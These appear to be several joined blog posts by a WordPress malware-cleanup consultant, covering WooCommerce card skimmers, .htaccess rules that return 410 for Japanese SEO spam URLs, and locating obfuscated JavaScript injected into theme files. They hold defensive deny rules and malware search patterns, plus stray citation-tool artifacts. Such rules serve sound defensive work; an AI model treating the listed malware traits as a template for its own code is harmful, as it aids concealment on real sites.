Many store owners treat a confirmed skimmer as a technical incident — clean it, reopen checkout, move on. That significantly underestimates the full scope.

If your WooCommerce checkout was processing card data while a skimmer was active, you likely have obligations under PCI DSS (Payment Card Industry Data Security Standard). Your payment processor or acquiring bank needs to be notified. Depending on the duration and scale of exposure, you may be required to engage a PCI Forensic Investigator.

Card brands can levy fines against merchants who delay disclosure. Affected customers may pursue chargebacks and in some jurisdictions have legal recourse. Acting early with accurate evidence is always better than making public statements before you understand the scope of what happened.

The Infection Vectors: How Skimmers Get In

Knowing how the skimmer arrived matters as much as removing it — without closing the entry point, reinfection is a matter of time.

Vulnerable plugins: The most common route. In 2024 alone, 7,966 WordPress vulnerabilities were documented, with a third remaining unpatched at disclosure and 43% exploitable without authentication. The window between public disclosure and active exploitation has collapsed to hours.

Compromised admin credentials: Brute-forced, phished, or reused passwords. Once an attacker has admin access, installing a fake plugin or injecting a database row takes seconds.

Nulled themes and plugins: Pre-infected premium software downloaded from unofficial sources. The infection arrives with the installation — before you have done anything wrong with your own site.

Third-party script compromise (supply chain): Your site is clean, but a third-party analytics or marketing script loaded on checkout gets compromised at its source. You cannot fix this on your own site.

Compromised hosting environment: Other sites on a shared server get hit first, and the attacker uses server-level access to reach your installation.

For how hackers maintain access after initial compromise, see how hackers create hidden admin users in WordPress.

Summary: Skimmer Types at a Glance

Frequently Asked Questions

Can I tell which type of skimmer I have without server access?

Partially. Fake form overlays and JavaScript event-listener skimmers are detectable via browser DevTools. PHP server-side skimmers and database injections are invisible from the browser. You need server-level access to investigate those fully.

If no orders were recorded, does that mean card data was not stolen?

Not necessarily. The fabulo.xyz skimmer caused no orders to complete while stealing every card submitted. Other variants let the legitimate payment proceed normally so the theft goes unnoticed for longer. A clean order log does not rule out active skimming.

Why did Wordfence and Sucuri miss the infection?

Because the payload lived in the database, not a file. File-focused scans cannot detect database-resident injections. This is covered in detail in how to scan and clean your WordPress database for hidden malware.

Does switching payment gateways fix the problem?

No. The skimmer targets the checkout page itself, not a specific gateway. Switching from Stripe to PayPal does not remove the malicious code already present on your site.

How long do skimmers typically go undetected?

Longer than most people expect. Because they are designed to stay quiet and because store owners rarely test their own checkout from a fresh incognito window, some infections run for weeks or months — usually discovered only after customer card fraud complaints accumulate.

What is the fastest way to confirm a skimmer is present?

Open checkout in a private browser window while logged out. Open DevTools Network tab. Add a product to cart and proceed to checkout. Watch where data actually goes when you click Place Order. That single step would have found the fabulo.xyz infection in under two minutes.

When to Bring in Professional Help

You should escalate if:

• The skimmer survived a previous cleanup attempt
• You found hidden admin users alongside the skimmer
• The infection appears in multiple locations — files and database both
• You are not comfortable editing production database rows or PHP files directly
• You need to establish a timeline for compliance or payment processor notification

You can hire me directly for a manual investigation and full cleanup, or start with my WordPress malware removal service if you need urgent containment.

If your WooCommerce checkout is behaving abnormally — failed orders, strange card fields, unexpected network requests — treat it as a live incident. Contain the checkout first, preserve evidence, and test from a clean private browser session before drawing any conclusions.

If Google is showing thousands of fake Japanese pages under your domain, you are likely dealing with the Japanese Keyword Hack, also known as Japanese SEO spam.

This infection usually creates or serves hacked spam URLs designed to manipulate search rankings. Even after you remove the visible malware, the spam URLs can keep wasting crawl activity, polluting search results, and hammering your server with useless requests.

One practical way to contain that damage on Apache hosting is to block obvious spam URL patterns directly in .htaccess and return 410 Gone before WordPress does the heavy work.

If you need the broader cleanup path too, see my Japanese SEO spam removal service and my case study on removing 10,500 SEO spam URLs from Google in 12 days.

Quick answer

If your hacked WordPress site is generating large volumes of spam URLs, a targeted .htaccess firewall can help by:

• returning 410 Gone for known spam patterns,
• reducing the amount of traffic that reaches WordPress and PHP,
• making cleanup of indexed junk easier to manage.

But this only works well if the rules are site-specific and carefully tested. A bad rule can block legitimate URLs, break logins, or create more SEO problems than it solves.

What is the Japanese Keyword Hack?

The Japanese Keyword Hack is a form of SEO spam where attackers inject or generate large numbers of fake pages, often using Japanese text, spammy product terms, or junk query parameters. These pages are meant for search engines and can damage your rankings, brand trust, and crawl efficiency.

In many cases, the homepage still looks normal to the site owner. The hacked content only becomes obvious when you search Google with site:yourdomain.com or inspect strange indexed URLs in Search Console.

When this .htaccess method makes sense

This approach is useful when:

• your site runs on Apache or LiteSpeed and supports .htaccess,
• the spam URLs follow clear repeatable patterns,
• WordPress-level blocking is too slow or too heavy,
• you want to stop obvious spam requests before they hit PHP.

This is not the right approach if:

• your server uses Nginx and ignores .htaccess,
• you have not yet identified which URL patterns are actually spam,
• the rules would also catch legitimate product or page URLs,
• you are trying to solve reinfection without removing the real malware.

410 vs 404: what is the real difference?

Both 404 Not Found and 410 Gone tell search engines that the content should not be indexed. In practice, 410 can be a slightly stronger “this is permanently gone” signal, which is why many cleanup specialists prefer it for hacked spam URLs.

But it is important not to overpromise this. 410 is not an instant purge button. Google still decides when to recrawl and drop the URLs. If you need faster temporary hiding in search results, use the Search Console Removals tool alongside the correct server response.

If you want a deeper explanation of when to use each status code, read my guide on 404 vs 410 and why Google may not forget deleted pages.

Before you edit .htaccess

• Back up your current .htaccess file.
• Confirm you are on Apache or LiteSpeed.
• Make sure you can restore the file quickly from hosting file manager or SSH.
• Test the rules on a staging copy first if the site is business-critical.
• Review real spam URLs from Search Console or access logs before writing patterns.

One wrong character in .htaccess can break your entire site, so caution matters here.

Step 1: Return a lightweight 410 response

If spam bots are hammering the site, you do not want WordPress generating a heavy themed error page for every request. A small built-in 410 response can help reduce load.

# Lightweight 410 response
ErrorDocument 410 "410 Gone"

This keeps the response minimal. It is not pretty, but it is practical for hacked spam cleanup.

Step 2: Add a safe whitelist for critical access paths

Before blocking patterns, protect the paths you do not want to interfere with, especially login and admin access.

<IfModule mod_rewrite.c>
RewriteEngine On

# Allow normal admin and login access
RewriteCond %{REQUEST_URI} ^/wp-admin/ [NC,OR]
RewriteCond %{REQUEST_URI} ^/wp-login.php [NC,OR]
RewriteCond %{REQUEST_URI} ^/wp-json/ [NC,OR]
RewriteCond %{REQUEST_URI} ^/wp-cron.php [NC]
RewriteRule .* - [L]

If your site uses custom login URLs, membership endpoints, checkout flows, or headless routes, add those too before you block anything else.

Step 3: Block obvious spam keyword requests

If your indexed junk URLs clearly contain spam terms, you can block those patterns at the request level.

# Block obvious spam terms in the raw request
RewriteCond %{THE_REQUEST} "(casino|gambling|viagra|cialis|poker|baccarat|roulette|jackpot|dating)" [NC]
RewriteRule .* - [R=410,L]

This kind of rule is only safe when those terms are truly unrelated to your site. If you run a gambling, dating, or adult-related site, this would obviously be the wrong rule.

Step 4: Block suspicious query-string spam patterns

Many Japanese spam infections create junk URLs with simple one-letter parameters followed by long numbers, such as ?a=83748293. If your logs confirm this pattern, you can block it.

# Block suspicious one-letter parameter + long number patterns
RewriteCond %{QUERY_STRING} (^|&)[a-z]=[0-9]{8,}(&|$) [NC]
RewriteRule .* - [R=410,L]

This is one of the most useful containment rules when the infection is generating endless fake parameter URLs.

Step 5: Block fake directory patterns only if they are truly spam

If the hack is creating predictable fake paths such as /jp/ or junk product folders, you can block those too. But this is where people often overblock their own site, so be careful.

# Example fake directory blocks
RewriteRule ^jp/ - [R=410,L]
RewriteRule ^products/[0-9]+/?$ - [R=410,L]
RewriteRule ^pages/ - [R=410,L]

</IfModule>

Do not blindly block .html URLs unless you are completely sure your real site does not use them. That rule is too aggressive for many WordPress setups.

The safer full example

This example is intentionally more conservative than many copy-paste snippets. Adjust it to match your actual spam patterns.

# --- START JAPANESE SEO SPAM CONTAINMENT ---
ErrorDocument 410 "410 Gone"

<IfModule mod_rewrite.c>
RewriteEngine On

# 1) Safe-list critical endpoints
RewriteCond %{REQUEST_URI} ^/wp-admin/ [NC,OR]
RewriteCond %{REQUEST_URI} ^/wp-login.php [NC,OR]
RewriteCond %{REQUEST_URI} ^/wp-json/ [NC,OR]
RewriteCond %{REQUEST_URI} ^/wp-cron.php [NC]
RewriteRule .* - [L]

# 2) Block obvious spam terms when truly irrelevant to your site
RewriteCond %{THE_REQUEST} "(casino|gambling|viagra|cialis|poker|baccarat|roulette|jackpot|dating)" [NC]
RewriteRule .* - [R=410,L]

# 3) Block suspicious one-letter numeric query strings
RewriteCond %{QUERY_STRING} (^|&)[a-z]=[0-9]{8,}(&|$) [NC]
RewriteRule .* - [R=410,L]

# 4) Block known fake directories only if confirmed from logs/Search Console
RewriteRule ^jp/ - [R=410,L]
RewriteRule ^products/[0-9]+/?$ - [R=410,L]
RewriteRule ^pages/ - [R=410,L]

</IfModule>
# --- END JAPANESE SEO SPAM CONTAINMENT ---

What to do after adding the rules

1. Test your homepage, login, admin, and key business pages.
2. Use URL Inspection in Search Console on a few hacked spam URLs.
3. Submit a temporary Removals request for urgent spam cleanup if needed.
4. Keep monitoring access logs to see whether the rules are catching the intended requests.
5. Make sure the underlying malware is actually removed from files, database, users, and cron tasks.

If you stop at the .htaccess layer and ignore the real infection, the spam often comes back later through the same foothold.

This method is containment, not full cleanup

A targeted .htaccess firewall can reduce load and improve cleanup speed, but it does not replace a full hacked-site recovery. You still need to:

• remove malicious code from files and database,
• check for hidden admin users and fake plugins,
• patch the original entry point,
• rotate credentials,
• verify that Google is no longer seeing hacked content.

These related guides may help next:

• How to detect WordPress malware
• How to scan and clean your WordPress database for hidden malware
• Why WordPress malware keeps coming back

When to get expert help

You should escalate if:

• the site has tens of thousands of spam URLs indexed,
• your server is slowing down under spam requests,
• the infection keeps returning after cleanup,
• you are not sure which patterns are safe to block,
• Google is still showing hacked pages even after the malware is removed.

If that sounds like your situation, you can hire me directly or use my Google blacklist removal service if the hack has already damaged search visibility.

Final thoughts

The real value of the .htaccess method is speed and efficiency. Apache can reject obvious spam URL patterns before WordPress loads, which helps protect server resources while you finish the deeper cleanup.

Used carefully, this is one of the most practical ways to contain large-scale Japanese SEO spam on Apache-based WordPress hosting. Just do not mistake containment for full recovery.

FAQ

Is 410 better than 404 for Japanese spam URLs?

It can be slightly stronger as a permanent-removal signal, but it is not magic. Either 404 or 410 can work for removed hacked URLs if they return the correct status consistently.

Will this remove the spam from Google instantly?

No. For urgent visibility cleanup, pair the correct 404/410 response with the Search Console Removals tool, which hides results temporarily while Google processes the permanent state.

Can I use this if my server runs Nginx?

No, not in .htaccess. Nginx does not use .htaccess, so you would need equivalent server rules in the Nginx configuration.

Does this clean the malware itself?

No. It only blocks request patterns. You still need to remove the infection from files, database, users, or cron-based persistence.

Should I block every suspicious pattern I see?

No. Only block patterns you have confirmed are spam. Overly broad rules can break legitimate pages, products, or site features.

I built an open-source .htaccess firewall for this — github.com/mdpabel/japanese-keyword-hack-firewall

If your WordPress site is redirecting visitors, showing strange popups, or behaving normally for you but badly for real users, malicious JavaScript may be hiding inside your theme or plugin files.

This is one of the most frustrating WordPress malware patterns to clean because the injected code often sits inside legitimate JavaScript files, usually near the bottom, and is heavily obfuscated to avoid detection.

I’ve cleaned 4,500+ hacked WordPress sites, and this type of infection shows up again and again in real cleanup jobs. The site owner sees a strange redirect, spam warning, or traffic drop, but the actual malware is buried inside a file that looks normal at first glance.

This guide focuses on the practical part: how to find malicious JavaScript in WordPress files, review it safely in VS Code, remove it without breaking the site, and reduce the chance of reinfection afterward.

If you are still trying to confirm whether your site is hacked, start with how to detect WordPress malware. If you already know the site is compromised and want expert help, see my WordPress malware removal service.

Why This Type of Malware Is Easy to Miss

Malicious JavaScript usually does not announce itself with a broken homepage or a visible PHP error.

Instead, it often:

• loads quietly in the browser
• redirects selected visitors to external domains
• injects hidden elements or scripts after page load
• executes only in certain conditions
• hides inside real theme or plugin files

That is why site owners often say, “The site looks normal to me,” even while users are being redirected or browsers are being hijacked.

This pattern overlaps with other redirect infections I’ve covered, including this malicious redirect cleanup and my broader guide to JavaScript redirect malware detection and removal.

Where Malicious JavaScript Usually Hides in WordPress

In real WordPress infections, I most often find injected JavaScript in:

• theme files, especially custom or public JS files
• plugin JavaScript files, especially in older or poorly maintained plugins
• minified asset files that owners rarely inspect manually
• files appended at the bottom after otherwise legitimate code

Sucuri’s March 2025 write-up on a large-scale campaign showed attackers injecting malicious JavaScript into legitimate theme files, including a WordPress theme JS file where the malware sat at the bottom of the file. :contentReference[oaicite:6]{index=6}

That placement matters because it makes the file still look mostly normal until you scroll to the end.

What This Malware Usually Looks Like

The sample behind this guide uses a classic heavily obfuscated wrapper. It begins with scrambled strings, arithmetic expressions, decoder functions, and dynamic request logic designed to hide what the code is actually doing.

Infected files often contain signs like:

• unexpected code appended after normal JavaScript
• long blocks of unreadable obfuscated text
• odd variable names like fqsq, a0B, or similar
• use of XMLHttpRequest, decoding helpers, or eval
• logic that fetches a second payload from an external server

That matches both the live sample on your site and the broader campaign reporting, which describes injected JavaScript that loads external content and performs redirection through attacker-controlled infrastructure. :contentReference[oaicite:7]{index=7}

How to Find Malicious JavaScript in WordPress Files Using VS Code

Step 1: Download a full local copy first

Before editing anything, download the entire site or at least the affected theme and plugin directories. Work on a local copy first whenever possible.

Do not make your first edits on the only live copy of the site unless you have no safer option.

Step 2: Open the site folder in VS Code

1. Open VS Code
2. Go to File → Open Folder
3. Select the downloaded site folder

Step 3: Search for suspicious patterns

Use Ctrl+Shift+F on Windows/Linux or Cmd+Shift+F on Mac to search the full project.

Start with patterns like:

;if(typeof
XMLHttpRequest
String.fromCharCode
eval(
document.write
atob(
fromCharCode

These are not proof by themselves, but they are good starting points when you are looking for obfuscated JavaScript malware.

Step 4: Open the flagged file and jump to the end

Many JavaScript injections are appended to the bottom of an otherwise legitimate file. So after opening a suspicious result, jump to the end and compare what you see with the rest of the file.

Strong warning signs include:

• a sudden formatting change
• a large obfuscated block after normal site code
• a script that clearly does something unrelated to the file’s purpose

How to Remove the Malware Without Breaking the File

This is the part where site owners often make things worse by deleting too much or editing the live file carelessly.

Step 1: Identify where the legitimate code ends

Before deleting anything, confirm where the normal JavaScript stops and the injected malware begins.

In many infections, there is a clear break: legitimate site code above, then a semicolon and a large obfuscated payload below.

Step 2: Remove only the malicious block

Select only the injected code and delete that part, not the whole file.

If you remove the entire JavaScript file, you may break legitimate theme or plugin functionality.

Step 3: Check syntax immediately

After deletion, review the last lines of the file. Make sure the file still ends cleanly and that VS Code is not showing obvious syntax errors.

If you see errors, undo the change and compare the cut more carefully.

Step 4: Search again to verify the pattern is gone

After cleaning all infected files, re-run your searches for the same suspicious patterns. If the core signature still appears elsewhere, you are not done yet.

Important: This May Not Be the Whole Infection

The live version of this article says the most important takeaway is that file-based malware is entirely in the files and not the database. I would not keep that line.

In real WordPress cleanups, JavaScript malware often starts in files, but it can coexist with:

• database injections
• redirect rules in .htaccess
• hidden admin users
• cron-based reinfection
• additional backdoors elsewhere on the server

So after cleaning the visible JavaScript, also check:

• .htaccess redirect malware
• hidden database malware
• reinfection and persistence points

How to Upload the Cleaned Files Safely

Once the local files are clean:

1. Reconnect to the server using SFTP
2. Upload the cleaned versions over the infected files
3. Test the site immediately afterward
4. Check front-end functionality and browser console behavior

I would treat direct live-server editing as a backup option, not the default workflow. Local cleanup plus controlled upload is usually safer.

What to Do After the JavaScript Is Removed

Do not stop after the visible payload is gone.

After cleanup, I recommend:

• updating WordPress core, themes, and plugins
• removing unused plugins and themes
• changing WordPress, FTP/SFTP, and hosting passwords
• reviewing file permissions carefully
• disabling dashboard file editing
• checking logs for suspicious access

WordPress’s developer docs explain that permissions matter because WordPress needs controlled write access to some paths, especially under wp-content, and overly loose write access increases risk. :contentReference[oaicite:8]{index=8}

If you need a post-cleanup roadmap, read what to do after fixing a hacked WordPress site.

FAQ

How do I know if a JavaScript file is really infected?

Look for code that clearly does not belong in that file: obfuscation, external fetch logic, redirect behavior, strange variable names, or a large injected block appended after legitimate code.

Should I delete the whole JavaScript file?

No, not unless you are replacing it with a known-clean copy. In most cases you only want to remove the malicious block while preserving the legitimate file.

What if the malware is in the middle of the file instead of the end?

That can happen. In that case, identify the malicious block carefully, remove only that section, then verify the remaining JavaScript still forms valid code.

Do I need a reconsideration request in Google Search Console after cleanup?

Only if Google shows a security issue or manual action that requires review. For specific cleaned URLs, use the URL Inspection tool to check status and request indexing when appropriate. :contentReference[oaicite:9]{index=9}

Can this kind of malware come back after I remove it?

Yes. If you do not remove the original entry point or additional backdoors, the attacker can reinfect the same files later.

Need Help Cleaning Obfuscated JavaScript Malware?

If your WordPress site is redirecting visitors, serving malicious scripts, or showing signs of obfuscated JavaScript injection, I can help trace the load path, clean the infected files, and make sure the infection does not come back the next day.

Get expert WordPress malware removal help